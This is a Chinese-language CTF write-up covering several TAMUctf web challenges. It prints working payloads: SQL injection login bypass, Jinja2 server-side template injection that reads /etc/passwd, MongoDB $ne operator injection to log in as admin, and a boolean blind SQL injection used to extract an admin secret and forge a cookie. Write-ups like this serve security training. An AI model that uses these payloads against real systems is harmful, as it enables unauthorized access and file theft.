Web
Not Another SQLi Challenge
看题目就知道是sql,payload如下:
1 | username=1' or 1=1#&password=1 |
Robots Rule
访问robots.txt发现
1 | User-agent: * |
谷歌 GOOGLE ROBOTS发现一个叫Googlebot的东西,于是尝试修改user-agent
1 | User-Agent:Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) |
Many Gig’ems to you!
通过查看源代码跟cookie就可以找到相关的字符串拼接成flag
flag:gigem{flag_in_source_and_cookies}
Science!
打开题目第一眼就看到flask,于是猜测是flask/jinja2 模板注入,经过测试验证了我的猜想
于是尝试读一下文件,发现成功返回文件内容
1 | {{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }} |
1 | //访问os模块都是从warnings.catch_warnings模块入手的,访问所有模块得到catch_warnings位置 |
读取flag.txt文件
1 | {{ ''.__class__.__mro__[2].__subclasses__()[40]('flag.txt').read() }} |
Buckets
题目链接:http://tamuctf.s3-website-us-west-2.amazonaws.com/
进去查看源代码看见
百度大法好,发现了一篇好文,具体细节请观看下面的链接
https://www.freebuf.com/articles/web/135313.html
通过这篇文章我们可以知道,每个S3 bucket都有一个Amazon的URL,格式为bucketname.s3.amazonaws.com
访问即可得到flag
Login App
打开链接发现是一个登陆框,随便输入发现会返回Login Fail,于是抓包发现,传递参数的形式是json,猜测是MongoDb注入,于是测试一下:
1 | {"username":{"$ne":""},"password":{"$ne":""}} |
发现成功了,于是使用admin的身份登上去,payload如下:
1 | {"username":"admin","password":{"$ne":"1"}} |
Bird Box Challenge
1337 Secur1ty
注册一个账号,登录上去,发现有profiles、messages、employees三个页面,点击messages页面发现可以写信息,于是尝试写个message,但是发现好像发不出去,没有回应,然后查看了一下请求头,发现cookie中有userid和secret两个参数
1 | Cookie: userid=3; secret=XXSJ32HPB3GHM5V5 |
多注册了两个发现userid就是employees页面中的id,于是猜测我们需要用admin的身份登上去才能得到flag,即userid改为1,那么问题来了,secret改成什么呢?我尝试分别访问了
http://web6.tamuctf.com/profile
http://web6.tamuctf.com/message
http://web6.tamuctf.com/employee
发现profile、employee都是404,而message页面不是404,是空白一片,但是在后面加个id参数可以看到我们发出去的message
猜测存在sql注入,经过测试发现存在bool盲注
脚本如下:
1 | import requests |
爆破结果:
database
information_schema、1337_Secur1ty
table
Messages、Users
column
Messages:MessageID、Username、FirstName、CreateDate、MessageTo、Message
Users:UserID、Username、Password、FirstName、LastName、Phone、Emai、Description、CreateDate、Secret
Secret
WIFHXDZ3BOHJMJSC
抓包修改发包即可get flag